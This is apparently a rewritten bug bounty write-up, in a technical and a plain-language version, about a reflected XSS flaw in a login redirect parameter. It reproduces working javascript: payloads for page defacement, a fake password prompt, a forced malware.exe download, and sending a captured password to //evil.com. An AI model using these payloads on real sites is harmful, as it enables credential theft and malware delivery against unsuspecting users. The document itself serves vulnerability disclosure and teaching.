Alternative link
A reflected cross-site scripting vulnerability was found in the successRedirect parameter of a launcher endpoint. An attacker could craft a link that executes JavaScript in the victim's browser, enabling phishing, password theft, or malware download.
p4n7h3rx.medium.com
Published on p4n7h3rx.medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was an old public bug bounty program, referred to throughout the write-up as www.redacted.com. The researcher found a unique subdomain, accounts.example-website-test02.redacted.com, which redirected to the main login page at www.redacted.com/login. From there the trail led through directory fuzzing, a JavaScript file, and a chain of endpoints to a page with a continue button whose successRedirect parameter reflected input, producing a reflected cross-site scripting (RXSS) bug.
The write-up is as much about severity negotiation as about the bug itself: the report was triaged, then downgraded to low with a $500 bounty, while the researcher argued the issue belonged at medium, where the program offered $2000. The rest of the article is a set of attack scenarios built to demonstrate impact.
Setup
The tools and preconditions named in the report:
- Subdomain enumeration, both vertical and horizontal, using a custom bash script the researcher wrote for the purpose. The report links to a public guide on horizontal enumeration:
https://sidxparab.gitbook.io/subdomain-enumeration-guide/types/horizontal-enumeration
- Directory and parameter fuzzing with ffuf.
- A browser to visit the subdomain and follow the redirect to the login page.
- No accounts, roles or specific versions are described. The program is described only as an old public program.
Finding it
- Vertical and horizontal subdomain enumeration surfaced
accounts.example-website-test02.redacted.com. - Visiting that subdomain redirected to
www.redacted.com/login, so the researcher moved on to fuzzing directories with ffuf. - Directory fuzzing found an endpoint named launcher, which served a JavaScript file containing numerous hidden endpoints.
- Inside that JS file was an endpoint named LinkPsn. Recursive fuzzing against it produced another endpoint named conflict.
- The conflict page contained a continue button. Parameter fuzzing on that page identified the
successRedirectparameter as the vulnerable one: after clicking continue, an alert popped up.

The screenshot shows the alert popping up after the continue button is clicked.
The report was submitted immediately and triaged. The staff then changed the severity to low and awarded $500. The researcher's surprise is explained by the program's payout scale: $500 for low, $2000 for medium.
The staff response, quoted in the write-up:
This is a reflected XSS, this means that the only way to achieve something out of it is through phishing or something of the sorts. For this reason we decided to decrease the severity of this issue.
The researcher's counter-argument is that reflected XSS falls in the medium band, Severity Medium (4 ~ 6.9), and set out to demonstrate impact with several use cases, built with help from Saad Ahmed.
The delivery model described in the write-up is the standard one for reflected XSS: an attacker induces a victim to make a request the attacker controls. That can be a link placed on a site the attacker owns, on another site that allows content to be generated, or sent by email, tweet or another message. The attack can be aimed at a known user or run indiscriminately against any user of the application. The researcher also notes that far more is possible, for example controlling the victim's browser by sending a Beef Hook URL through the reflected XSS.
Exploitation
Each case below is a payload placed in the vulnerable successRedirect parameter. The payloads are reproduced exactly as published.
Case 1: Deface
javascript:document.getElementsByTagName(%60body%60)%5B0%5D.innerHTML=%60%3Ch1%3Ehacked%3C/h1%3E%60
This is a javascript: URI. The percent-encoded parts decode to backticks around body, square brackets around 0, and backticks around the <h1>hacked</h1> string. The effect is to replace the body's inner HTML with a heading reading hacked, which demonstrates arbitrary HTML injection in the victim's page.

The screenshot shows the defaced page with the injected heading.
Case 2: Stealing the victim's password and sending it to the attacker's server
The first payload in this case renders a fake credential prompt and shows the captured value in an alert:
javascript:document.getElementsByTagName(`body`)[0].innerHTML%20=%20`%3Cb%3ELink%20PlayStation%20Network%20Account%3C/b%3E%3C/br%3E%3C/br%3EVerify%20Your%20Password:%3Cinput%20type=%22password%22%20id=%22pwd%22%3E%3Cinput%20type=%22submit%22%20value=%22Link%20Account%22%20onclick=alert(document.getElementById(%22pwd%22).value)%3E`
Decoded, the injected markup is a bold heading Link PlayStation Network Account, two line breaks, the text Verify Your Password:, a password input with id pwd, and a submit button labelled Link Account whose click handler alerts the value of the password field. This is a phishing form injected into the genuine origin, which is what makes it convincing.

The screenshot shows the injected fake password prompt.

The screenshot is captioned as sending the password to the attacker's server.
The second payload in this case is the one that actually exfiltrates the value:
javascript:document.getElementsByTagName(`body`)[0].innerHTML = `<b>Link PlayStation Network Account</b></br></br>Verify Your Password:<input type="password" id="pwd"><input type="submit" value="Link Account" onclick=window.location.href="//evil.com?pwd="%2bdocument.getElementById("pwd").value>`
Here the button's click handler navigates to //evil.com?pwd= concatenated with the value of the password field. The %2b is the encoded + used for the string concatenation. The payload navigates to //evil.com?pwd= concatenated with the value of the password field.
Case 3: Download malware on the victim's computer
javascript:window.location.href="https://thefiletree.com/app/conf/malware.exe"
This payload navigates the victim's browser to a file hosted on an external service.

The screenshot shows the malware download on the victim's system.
Case 4: Controlled DOM
javascript:var all = document.getElementsByTagName("*");for (var i=0, max=all.length; i < max; i++) {alert(all[i])}
This payload collects every element in the document and alerts each one in turn, demonstrating script-level access to the whole DOM rather than just the ability to inject markup.

The screenshot is captioned 'Control on DOM'.

The screenshot shows the page before exploitation.

The screenshot shows the page after exploitation.
Root cause
The report does not describe the server-side code. What it establishes is that the successRedirect parameter on the conflict page is reflected into the page and executed when the continue button is used, so user-controlled input reaches a script execution context without being neutralised. Why the existing defences did not stop it is not stated.
The staff's position is a design-level point rather than a code one: they treated reflected XSS as requiring phishing-style delivery and therefore as lower severity.
Impact
The demonstrated scenarios, in the researcher's framing, are:
- Defacement of the page in the victim's browser.
- A fake password prompt rendered on the genuine origin, with the entered value either displayed or sent to an attacker-controlled server.
- A forced download of an executable from an external host.
- Full script access to the DOM, and by extension the ability to control the victim's browser, for example by loading a Beef Hook URL through the reflected XSS.
All of these depend on the victim following an attacker-supplied link or otherwise making the crafted request, as the staff response notes. The report does not record a final severity, a changed bounty, or any remediation.
Fix
The report does not say what was changed. The measures implied by the finding are to stop reflecting successRedirect into an executable context, by encoding output for the context it lands in and by validating the parameter as a redirect target rather than accepting arbitrary values.
Variants to test
- Redirect-style parameters. Fuzz names such as
successRedirect,redirect,returnUrl,nextandcontinueon login, launcher and account-linking flows. A positive result is script execution after the continue or submit action, as here. - Hidden endpoints in JavaScript files. Pull JS served by an entry endpoint such as
launcher, extract endpoint names such asLinkPsn, then fuzz recursively beneath them. A positive result is a new reachable path such asconflictthat is not linked from the UI. - Subdomain enumeration beyond the obvious. Run horizontal as well as vertical enumeration. A positive result is a subdomain that redirects to the main login page but still hosts its own fuzzable paths.
javascript:scheme acceptance. Where a parameter feeds a navigation or redirect, try ajavascript:value. A positive result is execution in the origin's context rather than a plain redirect.- Injected credential forms. On any confirmed reflection, inject a password field and a submit button that sends the value to a host you control. A positive result is the value being sent to a host you control.
What happened, in plain words
A security researcher was testing a website that runs a bug bounty programme. A bug bounty programme is a scheme where a company pays people to find security problems in its systems and report them privately, instead of exploiting them. The researcher found a bug called reflected cross-site scripting, usually shortened to RXSS. In plain terms: the website took a piece of text supplied by whoever visited a page and pasted it straight into the page it sent back, without cleaning it. If that text is actually a small program written in JavaScript, the browser of the person who opens the page will run it, as if the website itself had written it.
The researcher reported the bug. The company's staff looked at it, agreed it was real, but decided it was a low-severity issue and paid $500. The researcher thought it deserved the medium rating, which paid $2000 on that programme. So the researcher, with a friend, built a series of demonstrations to show what an attacker could actually do with the bug. That is what most of the article is about.
Throughout the article the target is called www.redacted.com, because the real name is hidden. The programme is described only as an old public one.
The words you need before we start
A few ideas come up again and again, so here they are from zero.
- A domain and a subdomain. A domain is the name you type to reach a site, like
redacted.com. A subdomain is a name placed in front of it, likeaccounts.redacted.com, and it can point to a completely different machine or application. Companies often have many subdomains, some forgotten. - A URL and its parameters. A URL is the address of a page. It can carry extra pieces of information after a question mark, in the form
name=value, separated by&. Those pieces are called parameters. A page can read them and change what it shows. - A redirect. A redirect is when a server answers a request by telling the browser "the page you want is somewhere else, go there instead". A parameter that holds the destination of a redirect is often called something like
successRedirect: the place to send the user after a successful action. - JavaScript. The programming language that browsers run. Every interactive page uses it. If an attacker can get their own JavaScript to run inside a page of a site, the browser treats it as part of that site.
- "Reflected" means the text goes straight back out in the response to the same request, rather than being stored on the server for later visitors.
- A
javascript:link. A special kind of link whose destination is not a web address but a piece of JavaScript. Clicking it runs the code. Browsers and sites are supposed to block these in places where they would be dangerous. - The DOM. Short for Document Object Model: the browser's live, in-memory model of the page, made of elements such as headings, inputs and buttons. JavaScript can read and change it, which changes what the user sees.
- Fuzzing. Automatically trying a long list of candidate names or paths against a server and watching which ones give a different, interesting answer. It is like trying every key on a big keyring to see which doors open.
- A JavaScript file served by a site. Websites send their code to the browser as files ending in
.js. Those files often mention other addresses the site uses, which is a useful map for someone testing it.
The tools and starting conditions
The report names these:
- Subdomain enumeration, both vertical and horizontal, done with a custom bash script the researcher wrote. Bash is the command language of Linux and macOS terminals. Vertical enumeration means finding more subdomains of the same parent; horizontal means finding related domains and subdomains around the same organisation. The report links to a public guide on horizontal enumeration:
https://sidxparab.gitbook.io/subdomain-enumeration-guide/types/horizontal-enumeration
- Directory and parameter fuzzing with ffuf, a free command-line tool that sends many requests quickly from a word list.
- A browser, to visit the subdomain and follow the redirect to the login page.
No accounts, roles or software versions are described.
How the bug was found, step by step
- Vertical and horizontal subdomain enumeration turned up
accounts.example-website-test02.redacted.com. The point of this step is that forgotten subdomains are often less carefully maintained than the main site, so they are a good place to look. - Visiting that subdomain redirected to
www.redacted.com/login. A redirect to the login page means the subdomain does not show anything by itself, but it still exists and may host paths of its own. So the researcher did not stop there. - Directory fuzzing with ffuf found an endpoint named launcher. An endpoint is simply a path on the server that does something, like
/launcher. This one served a JavaScript file. - That JavaScript file listed numerous hidden endpoints, addresses the site uses internally but does not link from its visible pages. Reading a site's own JavaScript is a way of learning its map without guessing.
- One of those was an endpoint named LinkPsn. Recursive fuzzing against it, meaning fuzzing paths underneath it, produced another endpoint named conflict.
- The conflict page had a continue button. Parameter fuzzing on that page identified
successRedirectas the vulnerable parameter: after clicking continue, an alert popped up.

The screenshot shows the alert appearing after the continue button is clicked. An alert is a small pop-up box the browser shows with a message. It is the classic harmless proof that your JavaScript ran: if the box appears, the site executed code you supplied.
Why this matters: the researcher did not guess the parameter name. Fuzzing means trying many candidate names and watching for a change in behaviour. The alert was that change.
The report, the downgrade and the argument
The report was submitted immediately and triaged. Triaged means the programme's staff confirmed the issue is real and put it in their queue. The staff then changed the severity to low and awarded $500. The researcher was surprised because the programme's scale paid $500 for low and $2000 for medium.
The staff's reply, quoted in the write-up:
This is a reflected XSS, this means that the only way to achieve something out of it is through phishing or something of the sorts. For this reason we decided to decrease the severity of this issue.
Phishing means tricking a person into clicking a link or typing information, usually by pretending to be someone trustworthy. The staff's argument is: this bug only works if the victim is persuaded to open a crafted link, so it is less serious than a bug an attacker can trigger without any user action.
The researcher's counter-argument is that reflected XSS belongs in the medium band, Severity Medium (4 ~ 6.9). That range refers to CVSS, a standard scoring system where a number from 0 to 10 expresses how serious a vulnerability is. The researcher then set out to show the impact with several use cases, built with help from a friend, Saad Ahmed.
The delivery model described in the write-up is the standard one for reflected XSS. An attacker gets a victim to make a request the attacker controls. That can be a link placed on a site the attacker owns, on another site that lets visitors generate content, or sent by email, tweet or another message. The attack can be aimed at a known person or run indiscriminately against any user of the application. The researcher also notes that much more is possible, for example taking control of the victim's browser by sending a Beef Hook URL through the reflected XSS. Beef is a tool that, once its hook script runs in a browser, lets an attacker control that browser from a panel.
The demonstrations
Each case below is a payload placed in the vulnerable successRedirect parameter. A payload is the piece of text an attacker puts in to achieve the effect. The payloads are reproduced exactly as published.
Case 1: Deface
javascript:document.getElementsByTagName(%60body%60)%5B0%5D.innerHTML=%60%3Ch1%3Ehacked%3C/h1%3E%60
Line by line, in plain words:
javascript:tells the browser that what follows is code, not an address.documentis the browser's object representing the page.getElementsByTagNameasks the page for all elements with a given tag name.%60body%60is the textbodywrapped in backticks, with the backticks written in their percent-encoded form. Percent-encoding is how special characters are written safely inside a URL:%60is a backtick,%5Bis[,%5Dis],%3Cis<and%3Eis>.%5B0%5Dis[0], meaning "take the first one"..innerHTMLis the content inside that element.=%60%3Ch1%3Ehacked%3C/h1%3E%60sets that content to the string<h1>hacked</h1>, which is a top-level heading reading "hacked".
So the whole payload replaces the page body with a heading. The point is to show that an attacker can put arbitrary content into the victim's page, on the real site's address.

The screenshot shows the defaced page with the injected heading.
Case 2: Stealing the victim's password and sending it to the attacker's server
The first payload in this case draws a fake password prompt and shows the captured value in an alert:
javascript:document.getElementsByTagName(`body`)[0].innerHTML%20=%20`%3Cb%3ELink%20PlayStation%20Network%20Account%3C/b%3E%3C/br%3E%3C/br%3EVerify%20Your%20Password:%3Cinput%20type=%22password%22%20id=%22pwd%22%3E%3Cinput%20type=%22submit%22%20value=%22Link%20Account%22%20onclick=alert(document.getElementById(%22pwd%22).value)%3E`
Line by line:
javascript:again marks the value as code.document.getElementsByTagName(body)[0]picks the page body, the same idea as before.%20is a space, soinnerHTML%20=%20isinnerHTML =.- The backtick-quoted string is the HTML to inject. Decoded, it is a bold heading
Link PlayStation Network Account, two line breaks, the textVerify Your Password:, a password input with idpwd, and a submit button labelledLink Account. %3Cb%3Eis<b>,%3C/br%3Eis</br>,%3Cinput%20type=%22password%22%20id=%22pwd%22%3Eis<input type="password" id="pwd">, and%22is a double quote.onclick=alert(document.getElementById(%22pwd%22).value)means: when the button is clicked, read the value of the field with idpwdand show it in an alert.
Why this is convincing: the fake form is drawn by the real site, at the real site's address, so the victim has no obvious reason to doubt it. That is the phishing impact the staff mentioned, demonstrated rather than argued.

The screenshot shows the injected fake password prompt.

The screenshot is captioned as sending the password to the attacker's server.
The second payload in this case is the one that actually sends the value away:
javascript:document.getElementsByTagName(`body`)[0].innerHTML = `<b>Link PlayStation Network Account</b></br></br>Verify Your Password:<input type="password" id="pwd"><input type="submit" value="Link Account" onclick=window.location.href="//evil.com?pwd="%2bdocument.getElementById("pwd").value>`
Line by line:
- The page body is replaced with the same fake form as before.
- The difference is the button's click handler:
window.location.hrefis the address the browser is currently on, and assigning to it makes the browser navigate somewhere else. "//evil.com?pwd="is the destination, a host calledevil.comstanding in for an attacker's server, with a parameter namedpwdwaiting for a value.%2bis the encoded+sign, which joins two pieces of text together.document.getElementById("pwd").valuereads what the victim typed into the password field.
So when the victim types a password and clicks the button, the browser navigates to evil.com with the password attached in the address. This is called exfiltration: getting data out of the victim's browser to a place the attacker controls.
Case 3: Download malware on the victim's computer
javascript:window.location.href="https://thefiletree.com/app/conf/malware.exe"
Line by line:
window.location.hrefis the browser's current address.- Assigning a new value to it makes the browser navigate to that address.
- The address points to a file ending in
.exe, which on Windows is an executable program. A browser asked to open such a file will normally download it.
So the payload makes the victim's browser navigate to a program hosted on an external service.

The screenshot shows the malware download on the victim's system.
Case 4: Controlled DOM
javascript:var all = document.getElementsByTagName("*");for (var i=0, max=all.length; i < max; i++) {alert(all[i])}
Line by line:
var all = document.getElementsByTagName("*")collects every element in the page. The*means "any tag".for (var i=0, max=all.length; i < max; i++)is a loop: start a counter at zero, stop when it reaches the number of elements, and add one each time.alert(all[i])shows each element in turn in a pop-up.
The point is not the pop-ups. It is that the injected code can walk the entire page and touch every element. That is full script access to the DOM, which is the same power the site's own code has.

The screenshot is captioned 'Control on DOM'.

The screenshot shows the page before exploitation.

The screenshot shows the page after exploitation.
Why the bug exists
The report does not describe the server-side code. What it establishes is that the successRedirect parameter on the conflict page is reflected into the page and executed when the continue button is used. In other words, text supplied by the visitor reaches a place where the browser treats it as code, without being neutralised. Neutralising, or output encoding, means rewriting special characters so they are displayed as text rather than interpreted as instructions. Why the site's existing defences did not stop it is not stated. The report does not say why the site's existing defences did not stop it.
The staff's position is about design rather than code: they treated reflected XSS as needing a phishing-style delivery and therefore as lower severity.
What an attacker could do
The demonstrated scenarios, in the researcher's framing, are:
- Defacement of the page in the victim's browser.
- A fake password prompt drawn on the genuine site, with the entered value either displayed or sent to an attacker-controlled server.
- A forced download of an executable from an external host.
- Full script access to the DOM, and by extension the ability to control the victim's browser, for example by loading a Beef Hook URL through the reflected XSS.
All of these depend on the victim following an attacker-supplied link or otherwise making the crafted request, as the staff response notes. The report does not record a final severity, a changed bounty, or any remediation.
How it would be fixed
The measures implied by the finding are to stop reflecting successRedirect into a place where it is executed, by encoding the output for wherever it lands, and by checking that the parameter really is a redirect destination rather than accepting any value.
Things worth trying elsewhere
- Redirect-style parameters. Fuzz names such as
successRedirect,redirect,returnUrl,nextandcontinueon login, launcher and account-linking flows. A positive result is script execution after the continue or submit action, as here. - Hidden endpoints in JavaScript files. Pull the JavaScript served by an entry endpoint such as
launcher, extract endpoint names such asLinkPsn, then fuzz recursively beneath them. A positive result is a new reachable path such asconflictthat is not linked from the visible interface. - Subdomain enumeration beyond the obvious. Run horizontal as well as vertical enumeration. A positive result is a subdomain that redirects to the main login page but still hosts its own fuzzable paths.
javascript:scheme acceptance. Where a parameter feeds a navigation or redirect, try ajavascript:value. A positive result is execution in the site's own context rather than a plain redirect.- Injected credential forms. On any confirmed reflection, inject a password field and a submit button that sends the value to a host you control. A positive result is the value being sent to a host you control.
Glossary
- Bug bounty programme: a scheme where a company pays people to find and report security problems privately.
- Reflected cross-site scripting (RXSS): a bug where text supplied in a request is sent straight back in the response and run as code by the browser.
- Domain: the name used to reach a website, such as
redacted.com. - Subdomain: a name placed in front of a domain, such as
accounts.redacted.com, which can host a separate application. - Endpoint: a path on a server that performs an action or returns content.
- URL parameter: a
name=valuepair after the question mark in an address, used to pass information to a page. - Redirect: a server response telling the browser to go to a different address instead.
- JavaScript: the programming language browsers run to make pages interactive.
javascript:URI: a link whose destination is code rather than an address; clicking it runs the code.- DOM: the browser's live model of the page, made of elements that code can read and change.
- Payload: the piece of text an attacker supplies to achieve an effect.
- Fuzzing: automatically trying many candidate names or paths and watching for interesting responses.
- Directory fuzzing: fuzzing path names on a server to discover pages that are not linked publicly.
- Parameter fuzzing: fuzzing parameter names or values to find ones that change the page's behaviour.
- Recursive fuzzing: fuzzing underneath a path you have already found, to discover further paths.
- Bash script: a file of commands for the Linux and macOS command line.
- ffuf: a free command-line tool for sending many requests quickly from a word list.
- Triaged: confirmed as a real issue by the programme's staff and placed in their queue.
- Severity: a rating of how serious a bug is, often expressed as a CVSS score.
- CVSS: a standard scoring system from 0 to 10 for the seriousness of a vulnerability.
- Phishing: tricking a person into clicking a link or entering information by pretending to be trustworthy.
- Alert: a small pop-up box the browser shows with a message, often used as harmless proof that code ran.
- Percent-encoding: writing special characters in a URL as
%followed by a code, such as%20for a space. innerHTML: the property holding the content inside a page element; setting it replaces that content.- Exfiltration: getting data out of a victim's browser to a place the attacker controls.
- Beef Hook: a script from the Beef tool that, once it runs in a browser, lets an attacker control that browser.
- Output encoding: rewriting special characters so they are shown as text rather than interpreted as instructions.
- Remediation: the fix applied to close a vulnerability.